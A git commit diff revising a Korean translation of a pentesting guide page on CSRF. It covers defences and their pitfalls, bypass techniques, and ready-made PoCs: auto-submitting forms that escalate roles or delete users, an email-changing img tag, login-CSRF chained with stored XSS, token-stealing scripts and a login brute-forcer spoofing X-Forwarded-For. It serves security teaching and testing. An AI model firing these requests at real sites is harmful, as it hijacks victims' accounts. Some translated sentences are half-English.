Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

2025-10-10 18:36:50 +00:00 · 2025-09-29 22:51:15 +00:00 · 2025-09-29 22:51:15 +00:00 · d8b78706db
commit d8b78706db
parent 1950eb5c38
2 changed files with 164 additions and 74 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -487,6 +487,7 @@
 - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
  - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
  - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
+  - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
 - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
 - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
 - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
--- a/src/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/src/pentesting-web/csrf-cross-site-request-forgery.md
@ -4,49 +4,56 @@

 ## Cross-Site Request Forgery (CSRF) 설명

-**Cross-Site Request Forgery (CSRF)** 은 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 사용자의 인증된 세션을 악용하여 사용자를 대신해 작업을 수행할 수 있습니다. 이 공격은 사용자가 피해자의 플랫폼에 로그인한 상태에서 악성 사이트를 방문할 때 실행됩니다. 해당 사이트는 JavaScript 실행, 폼 제출 또는 이미지 로드와 같은 방법으로 피해자 계정에 요청을 전송합니다.
+**Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 인증된 세션을 악용하여 사용자가 모르는 사이에 그 사용자를 대신해 동작을 수행할 수 있습니다. 공격은 피해자의 플랫폼에 로그인된 사용자가 악성 사이트를 방문할 때 발생합니다. 해당 사이트는 JavaScript 실행, 폼 제출, 이미지 가져오기 등과 같은 방법으로 피해자의 계정에 요청을 발생시킵니다.

-### CSRF 공격을 위한 사전 조건
+### CSRF 공격을 위한 전제 조건

-CSRF 취약점을 악용하려면 몇 가지 조건이 충족되어야 합니다:
+CSRF 취약점을 악용하려면 다음과 같은 조건들이 충족되어야 합니다:

-1. **Identify a Valuable Action**: 공격자는 사용자 비밀번호, 이메일 변경 또는 권한 상승과 같이 악용할 가치가 있는 작업을 찾아야 합니다.
-2. **Session Management**: 사용자의 세션은 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
-3. **Absence of Unpredictable Parameters**: 요청에 예측 불가능한 매개변수가 포함되어 있지 않아야 합니다. 이러한 매개변수는 공격을 방지할 수 있습니다.
+1. **가치 있는 동작 식별**: 공격자는 사용자 비밀번호 변경, 이메일 변경, 권한 상승 등 악용할 가치가 있는 동작을 찾아야 합니다.
+2. **세션 관리**: 사용자의 세션은 오직 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
+3. **예측 불가능한 매개변수의 부재**: 요청에 예측 불가능한 매개변수가 포함되어 있으면 공격을 방지할 수 있습니다.

 ### 빠른 확인

-요청을 Burp에서 캡처하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다:
+요청을 **Burp에서 캡처**하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다:

 <figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>

-### CSRF 방어
+### CSRF에 대한 방어

-다음과 같은 여러 대책을 구현하여 CSRF 공격으로부터 보호할 수 있습니다:
+다음과 같은 대응책들을 구현하여 CSRF 공격으로부터 보호할 수 있습니다:

- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 사이트 요청과 함께 cookies를 전송하는 것을 방지합니다. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 가능성에 영향을 줄 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 할 경우에 그렇습니다. [Learn about CORS bypass](cors-bypass.md).
- **User Verification**: 사용자 비밀번호 입력을 요구하거나 captcha 해결을 통해 사용자의 의도를 확인할 수 있습니다.
- **Checking Referrer or Origin Headers**: Referrer 또는 Origin 헤더를 검증하면 요청이 신뢰된 출처에서 오는지 확인할 수 있습니다. 그러나 URL을 세심하게 조작하면 제대로 구현되지 않은 검사들을 우회할 수 있습니다. 예:
-  - Using `http://mal.net?orig=http://example.com` (URL이 신뢰된 URL로 끝남)
-  - Using `http://example.com.mal.net` (URL이 신뢰된 URL로 시작함)
- **Modifying Parameter Names**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
- **CSRF Tokens**: 세션마다 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS 적용으로 향상될 수 있습니다.
+- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 출처 요청과 함께 cookies를 전송하지 못하게 합니다. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
+- [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 중요합니다. [Learn about CORS bypass](cors-bypass.md).
+- **User Verification**: 사용자에게 비밀번호 입력을 요구하거나 captcha를 풀게 하는 방식으로 사용자의 의도를 확인할 수 있습니다.
+- **Referrer 또는 Origin 헤더 검사**: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 왔는지 확인하는 데 도움이 됩니다. 그러나 잘못 구현된 검사를 우회할 수 있는 URL 조작 방식들이 있습니다. 예:
+  - `http://mal.net?orig=http://example.com` (URL이 신뢰된 URL로 끝남)
+  - `http://example.com.mal.net` (URL이 신뢰된 URL로 시작함)
+- **매개변수 이름 변경**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
+- **CSRF Tokens**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. CORS를 적용하면 토큰의 효과를 더욱 높일 수 있습니다.

-이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
+이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 매우 중요합니다.

-## 방어 우회
+#### 방어의 일반적인 함정

-### POST에서 GET으로 (method-conditioned CSRF validation bypass)
+- SameSite의 함정: `SameSite=Lax`는 여전히 링크나 폼의 GET과 같은 최상위 교차 출처 내비게이션을 허용하므로 많은 GET 기반 CSRF가 여전히 가능할 수 있습니다. cookie matrix는 [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite)를 참조하세요.
+- 헤더 검사: `Origin`이 있을 때 이를 검증하세요; `Origin`과 `Referer`가 모두 없으면 접근을 차단하세요(fail closed). 유사 도메인이나 조작된 URL로 우회될 수 있는 `Referer`의 부분 문자열/정규식 매칭에 의존하지 마세요. 또한 `meta name="referrer" content="never"` 억제 트릭을 주의하세요.
+- Method override: 오버라이드된 메서드(`_method` 또는 override headers)는 상태 변경으로 간주하고 POST에만 적용하지 말고 실제 적용되는 메서드에 대해 CSRF를 강제하세요.
+- 로그인 흐름: 로그인에도 CSRF 보호를 적용하세요. 그렇지 않으면 로그인 CSRF가 공격자가 제어하는 계정으로 강제 재인증을 허용하게 되고, 이는 stored XSS와 연계되어 사용될 수 있습니다.

-일부 애플리케이션은 다른 HTTP verbs에 대해서는 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티 패턴은 다음과 같습니다:
+## Defences Bypass
+
+### From POST to GET (method-conditioned CSRF validation bypass)
+
+일부 애플리케이션은 다른 HTTP 동사를 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티패턴은 다음과 같습니다:
 ```php
 public function csrf_check($fatal = true) {
 if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
 // ... validate __csrf_token here ...
 }
 ```
-취약한 엔드포인트가 $_REQUEST에서 오는 파라미터도 허용하면, 동일한 액션을 GET 요청으로 재전송하고 CSRF 토큰을 완전히 생략할 수 있습니다. 이렇게 하면 POST 전용 액션이 토큰 없이 성공하는 GET 액션으로 바뀝니다.
+취약한 엔드포인트가 $_REQUEST에서 파라미터를 받는다면, 동일한 동작을 GET 요청으로 다시 발행하고 CSRF token을 완전히 생략할 수 있습니다. 이렇게 하면 POST-only 동작이 토큰 없이 성공하는 GET 동작으로 전환됩니다.

 Example:

@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi
 ```

 Notes:
- 이 패턴은 응답이 application/json 대신 text/html로 잘못 서빙되는 reflected XSS와 함께 자주 나타납니다.
- XSS와 결합하면 단일 GET 링크로 취약한 코드 경로를 트리거하고 CSRF 검사를 완전히 회피할 수 있으므로 악용 장벽이 크게 낮아집니다.
+- 이 패턴은 종종 reflected XSS와 함께 나타나며, 응답이 application/json 대신 잘못하여 text/html로 제공되는 경우가 많습니다.
+- 이를 XSS와 결합하면 취약한 코드 경로를 트리거하고 CSRF checks를 완전히 회피하는 단일 GET 링크를 전달할 수 있어 exploitation 장벽이 크게 낮아집니다.

-### 토큰 누락
+### 토큰 없음

-애플리케이션은 토큰이 있을 때 이를 검증하는 메커니즘을 구현할 수 있습니다. 하지만 토큰이 없을 때 검증을 완전히 건너뛰면 취약점이 발생합니다. 공격자는 토큰의 값만 바꾸는 것이 아니라 토큰을 전달하는 파라미터 자체를 **제거(remove the parameter)** 함으로써 이를 악용할 수 있습니다. 이렇게 하면 검증 과정을 우회하고 효과적으로 Cross-Site Request Forgery (CSRF) 공격을 수행할 수 있습니다.
+Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.

-### CSRF 토큰이 사용자 세션에 연동되어 있지 않음
+Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:
+```http
+POST /admin/users/role HTTP/2
+Host: example.com
+Content-Type: application/x-www-form-urlencoded

-CSRF 토큰을 사용자 세션에 연동하지 않는 애플리케이션은 심각한 보안 위험을 안고 있습니다. 이러한 시스템은 각 토큰을 발행 세션에 바인딩하지 않고 **글로벌 풀**을 기준으로 토큰을 검증합니다.
+username=guest&role=admin&csrf=
+```
+최소한의 자동 제출 PoC (history.pushState로 탐색 숨기기):
+```html
+<html>
+<body>
+<form action="https://example.com/admin/users/role" method="POST">
+<input type="hidden" name="username" value="guest" />
+<input type="hidden" name="role" value="admin" />
+<input type="hidden" name="csrf" value="" />
+<input type="submit" value="Submit request" />
+</form>
+<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
+</body>
+</html>
+```
+### CSRF token이 사용자 세션에 연동되어 있지 않음
+
+애플리케이션이 **CSRF tokens을 사용자 세션에 연동하지 않는** 경우 심각한 **보안 위험**을 초래합니다. 이러한 시스템은 각 토큰이 발급한 세션에 바인딩되어 있는지 확인하기보다는 토큰을 **global pool**에 대해 검증합니다.

 공격자가 이를 악용하는 방법은 다음과 같습니다:

-1. 자신의 계정으로 인증한다.
-2. 글로벌 풀에서 유효한 CSRF 토큰을 획득한다.
-3. 이 토큰을 피해자를 대상으로 한 CSRF 공격에 사용한다.
+1. **자신의 계정으로 인증**합니다.
+2. **global pool에서 유효한 CSRF token을 획득**합니다.
+3. **이 토큰을 사용**해 피해자에 대한 CSRF attack을 수행합니다.

-이 취약점은 공격자가 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용해 피해자를 대신하여 권한 없는 요청을 수행할 수 있게 합니다.
+이 취약점으로 공격자는 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용하여 피해자를 대신해 무단 요청을 수행할 수 있습니다.

-### Method bypass
+### 메서드 우회

-요청이 "이상한" method를 사용하고 있다면 method override 기능이 동작하는지 확인하세요. 예를 들어 PUT을 사용 중이라면 POST를 사용하고 다음과 같이 전송해 볼 수 있습니다: _https://example.com/my/dear/api/val/num?__method=PUT_
+요청이 "**weird**" **method**를 사용 중이라면 **method override** 기능이 작동하는지 확인하세요. 예를 들어 **PUT/DELETE/PATCH** 메서드를 사용 중이라면 **POST**를 사용하고 override를 전송해 볼 수 있습니다. 예: `https://example.com/my/dear/api/val/num?_method=PUT`

-이것은 POST 요청 내부에 **\_method 파라미터를 넣어서** 보내거나 다음 헤더들을 사용해서도 작동할 수 있습니다:
+이는 **`_method` parameter inside a POST body**로 전송하거나 override **headers**를 사용해도 동작할 수 있습니다:

- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
+- `X-HTTP-Method`
+- `X-HTTP-Method-Override`
+- `X-Method-Override`

-### Custom header token bypass
+**Laravel**, **Symfony**, **Express** 등 프레임워크에서 흔히 볼 수 있습니다. 개발자들이 브라우저가 비-POST 동사를 전송할 수 없다고 가정해 비-POST 동사에 대해 CSRF를 생략하는 경우가 있는데, override를 통해 여전히 POST로 해당 핸들러에 도달할 수 있습니다.

-요청이 CSRF 보호 수단으로 토큰을 담은 커스텀 헤더를 추가한다면:
+예시 요청 및 HTML PoC:
+```http
+POST /users/delete HTTP/1.1
+Host: example.com
+Content-Type: application/x-www-form-urlencoded

- Customized Token 및 해당 헤더 없이 요청을 테스트해보세요.
- 동일한 길이지만 다른 토큰으로 요청을 테스트해보세요.
+username=admin&_method=DELETE
+```

-### CSRF 토큰이 쿠키로 검증되는 경우
+```html
+<form method="POST" action="/users/delete">
+<input name="username" value="admin">
+<input type="hidden" name="_method" value="DELETE">
+<button type="submit">Delete User</button>
+</form>
+```
+### 커스텀 헤더 token 우회

-애플리케이션은 토큰을 쿠키와 요청 파라미터에 중복해서 넣거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하는 방식으로 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 토큰이 쿠키 값과 일치하는지를 확인하여 요청을 검증합니다.
+요청이 **사용자 정의 헤더**에 **token**을 **CSRF 보호 방법**으로 추가하는 경우:

-그러나 사이트에 CRLF 취약점 등 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있다면 이 방식은 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지(deceptive image)를 로드한 뒤 CSRF 공격을 개시함으로써 이를 악용할 수 있습니다.
+- 요청을 **Customized Token 및 해당 헤더 없이** 테스트하세요.
+- 길이가 **정확히 동일하지만 다른 token**으로 요청을 테스트하세요.

-아래는 공격을 구성하는 예시입니다:
+### CSRF token이 쿠키로 검증되는 경우
+
+애플리케이션은 token을 쿠키와 요청 파라미터에 중복 저장하거나 CSRF 쿠키를 설정하고 백엔드로 전송된 token이 쿠키와 일치하는지 확인함으로써 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 token이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
+
+그러나 이 방법은 CRLF 취약점과 같이 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 웹사이트에서는 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지( deceptive image )를 불러오게 한 뒤 CSRF 공격을 시작하는 방식으로 이를 악용할 수 있습니다.
+
+아래는 공격이 어떻게 구성될 수 있는지에 대한 예시입니다:
 ```html
 <html>
 <!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
 </html>
 ```
 > [!TIP]
-> **csrf token이 session cookie와 관련되어 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자에게 당신의 세션을 설정해야 하고, 따라서 결국 당신 자신을 공격하게 되기 때문입니다.
+> 만약 **csrf token이 session cookie와 연관되어 있다면 이 공격은 작동하지 않습니다**. 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.

 ### Content-Type 변경

-According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
+[**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에 따르면, **POST** 메서드를 사용할 때 **preflight 요청을 피하려면** 허용되는 Content-Type 값은 다음과 같습니다:

 - **`application/x-www-form-urlencoded`**
 - **`multipart/form-data`**
 - **`text/plain`**

-그러나 사용된 **Content-Type**에 따라 서버 로직이 달라질 수 있으므로 위에서 언급한 값들과 다른 값들, 예를 들어 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ 도 시도해 보아야 합니다.
+단, 사용된 **Content-Type**에 따라 **서버 로직이 달라질 수 있음**에 유의하세요. 따라서 위에 언급한 값들과 **`application/json`**, **`text/xml`**, **`application/xml`** 같은 값들도 시도해봐야 합니다.

-예제 (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
+Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
 ```html
 <html>
 <body>
@ -162,23 +209,23 @@ form.submit()
 </body>
 </html>
 ```
-### JSON 데이터에 대한 Preflight 요청 우회
+### Bypassing Preflight Requests for JSON Data

-POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Content-Type: application/json`을 직접 지정하는 것은 불가능합니다. 마찬가지로 `XMLHttpRequest`로 이 Content-Type을 보내면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type와 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 몇 가지 방법이 있습니다:
+POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Content-Type: application/json`을 직접 설정하는 것은 불가능합니다. 마찬가지로 `XMLHttpRequest`로 이 Content-Type을 전송하면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type과 상관없이 JSON 데이터를 처리하는지 확인할 수 있는 방법들이 있습니다:

-1. **Use Alternative Content Types**: form에 `enctype="text/plain"`을 설정해 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이는 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다.
-2. **Modify Content Type**: preflight request를 발생시키지 않으면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 `Content-Type: text/plain; application/json`으로 데이터를 보낼 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가 `application/json`을 허용하도록 설정되어 있다면 올바르게 처리될 수 있습니다.
-3. **SWF Flash File Utilization**: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 이용해 이러한 제한을 우회할 수 있습니다. 이 기법에 대한 자세한 내용은 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)를 참조하세요.
+1. **Use Alternative Content Types**: form에 `enctype="text/plain"`을 설정하여 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용하세요. 이 방법은 백엔드가 Content-Type과 상관없이 데이터를 사용하는지 테스트합니다.
+2. **Modify Content Type**: preflight request를 피하면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가 `application/json`을 허용하도록 구성되어 있다면 제대로 처리될 수 있습니다.
+3. **SWF Flash File Utilization**: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 사용해 이러한 제약을 우회하는 방법이 있습니다. 이 기법에 대한 자세한 내용은 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)를 참고하세요.

-### Referrer / Origin 검사 우회
+### Referrer / Origin check bypass

-**Referrer 헤더 회피**
+**Avoid Referrer header**

-애플리케이션은 'Referer' 헤더가 존재할 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 못하게 하려면 다음 HTML meta 태그를 사용할 수 있습니다:
+Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:
 ```xml
 <meta name="referrer" content="never">
 ```
-이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증을 우회할 수 있습니다.
+이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증 체크를 우회할 수 있습니다.

 **Regexp bypasses**

@ -187,7 +234,7 @@ POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Conte
 ssrf-server-side-request-forgery/url-format-bypass.md
 {{#endref}}

-Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 URL에 설정하려면 다음과 같이 할 수 있습니다:
+URL에 Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:
 ```html
 <html>
 <!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -216,25 +263,60 @@ document.forms[0].submit()
 </body>
 </html>
 ```
-### **HEAD method bypass**
+### **HEAD 메서드 우회**

-이 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 부분에서는 [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281)에서 router가 **handle HEAD requests as GET requests** with no response body로 설정되어 있다고 설명합니다 — 이는 Oak에만 국한되지 않는 흔한 우회 방법입니다. HEAD reqs를 처리하는 특정 handler 대신, 요청들은 단순히 **given to the GET handler but the app just removes the response body**.
+The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **HEAD 요청을 GET 요청으로 처리하도록** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **GET 핸들러에 전달되지만 앱이 응답 본문만 제거합니다**.

-따라서 GET 요청이 제한되고 있다면, 단순히 **send a HEAD request that will be processed as a GET request** 하면 됩니다.
+따라서 GET 요청이 제한되는 경우, **GET 요청으로 처리될 HEAD 요청을 전송할 수 있습니다**.

 ## **Exploit Examples**

-### **Exfiltrating CSRF Token**
+### 사용자 생성 HTML을 통한 Stored CSRF

-만약 **CSRF token**이 **defence**로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용해 **exfiltrate it**하려 시도할 수 있습니다.
+When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their 쿠키.

-### **GET using HTML tags**
+- If the 앱 uses a 글로벌 CSRF 토큰 that is not bound to the user 세션, the same 토큰 may work for all users, making stored CSRF reliable across victims.
+
+로딩될 때 뷰어의 이메일을 변경하는 최소 예시:
+```html
+<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
+```
+### 로그인 CSRF와 stored XSS 연계
+
+로그인 CSRF 단독으로는 영향이 적을 수 있지만, 인증된 stored XSS와 결합하면 강력해집니다: 피해자를 공격자가 제어하는 계정으로 인증하도록 강제합니다; 그런 컨텍스트에서는 인증된 페이지의 stored XSS가 실행되어 토큰을 훔치거나 세션을 가로채거나 권한을 상승시킬 수 있습니다.
+
+- 로그인 엔드포인트가 CSRF-able(세션별 토큰이나 origin 검사 없음)하고 사용자 상호작용 요구로 차단되지 않는지 확인하세요.
+- 강제 로그인 후, 공격자의 stored XSS payload를 포함한 페이지로 자동 이동시키세요.
+
+Minimal login-CSRF PoC:
+```html
+<html>
+<body>
+<form action="https://example.com/login" method="POST">
+<input type="hidden" name="username" value="attacker@example.com" />
+<input type="hidden" name="password" value="StrongPass123!" />
+<input type="submit" value="Login" />
+</form>
+<script>
+history.pushState('', '', '/');
+document.forms[0].submit();
+// Optionally redirect to a page with stored XSS in the attacker account
+// location = 'https://example.com/app/inbox';
+</script>
+</body>
+</html>
+```
+### **CSRF Token 탈취**
+
+만약 **CSRF token**이 **defence**로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용하여 **exfiltrate it** 해볼 수 있습니다.
+
+### **HTML tags를 이용한 GET**
 ```xml
 <img src="http://google.es?param=VALUE" style="display:none" />
 <h1>404 - Page not found</h1>
 The URL you are requesting is no longer available
 ```
-자동으로 GET 요청을 전송하는 데 사용할 수 있는 다른 HTML5 태그들은:
+자동으로 GET 요청을 보낼 때 사용할 수 있는 다른 HTML5 태그는 다음과 같다:
 ```html
 <iframe src="..."></iframe>
 <script src="..."></script>
@ -281,7 +363,7 @@ document.forms[0].submit()
 </body>
 </html>
 ```
-### Form POST 요청
+### 폼 POST 요청
 ```html
 <html>
 <body>
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
 </body>
 </body>
 ```
-### **CSRF 토큰을 탈취해 POST 요청 보내기**
+### **CSRF Token 탈취 및 POST 요청 전송**
 ```javascript
 function submitFormWithTokenJS(token) {
 var xhr = new XMLHttpRequest()
@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
 var POST_URL = "http://google.com?param=VALUE"
 getTokenJS()
 ```
-### **CSRF Token을 탈취하고 iframe, form, Ajax를 사용해 Post 요청을 전송하기**
+### **CSRF Token을 탈취하고 iframe, form 및 Ajax를 사용하여 Post 요청을 전송하기**
 ```html
 <form
 id="form1"
@ -501,7 +583,7 @@ style="display:none"
 src="http://google.com?param=VALUE"
 onload="javascript:f1();"></iframe>
 ```
-### **CSRF Token을 훔치고 iframe과 form을 사용하여 POST 요청 보내기**
+### **CSRF Token을 탈취하고 iframe과 form을 사용해 POST 요청을 전송**
 ```html
 <iframe
 id="iframe"
@ -534,7 +616,7 @@ document.forms[0].submit.click()
 }
 </script>
 ```
-### **token을 훔쳐서 2개의 iframes로 전송하기**
+### **token을 탈취하고 2개의 iframes로 전송**
 ```html
 <script>
 var token;
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
 <button type="submit">Submit</button>
 </form>
 ```
-### **POSTSteal CSRF 토큰을 Ajax로 훔치고 form으로 POST 전송하기**
+### **POSTSteal CSRF token을 Ajax로 훔치고 form으로 POST 요청 전송**
 ```html
 <body onload="getData()">
 <form
@ -617,7 +699,7 @@ room: username,
 ```
 ## CSRF Login Brute Force

-코드는 CSRF token을 사용해 login form에 대해 Brute Force 공격을 수행하는 데 사용할 수 있습니다 (또한 X-Forwarded-For 헤더를 사용하여 가능한 IP blacklisting을 우회하려 시도합니다):
+이 코드는 CSRF token을 사용하여 로그인 폼에 대해 Brut Force 공격을 수행하는 데 사용할 수 있습니다(또한 잠재적인 IP blacklisting을 우회하기 위해 X-Forwarded-For 헤더를 사용합니다):
 ```python
 import request
 import re
@ -665,6 +747,7 @@ login(USER, line.strip())

 - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
 - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
+- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)

 ## 참고자료

@ -673,5 +756,11 @@ login(USER, line.strip())
 - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
 - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
 - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
+- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
+- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
+- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
+- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
+- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)

 {{#include ../banners/hacktricks-training.md}}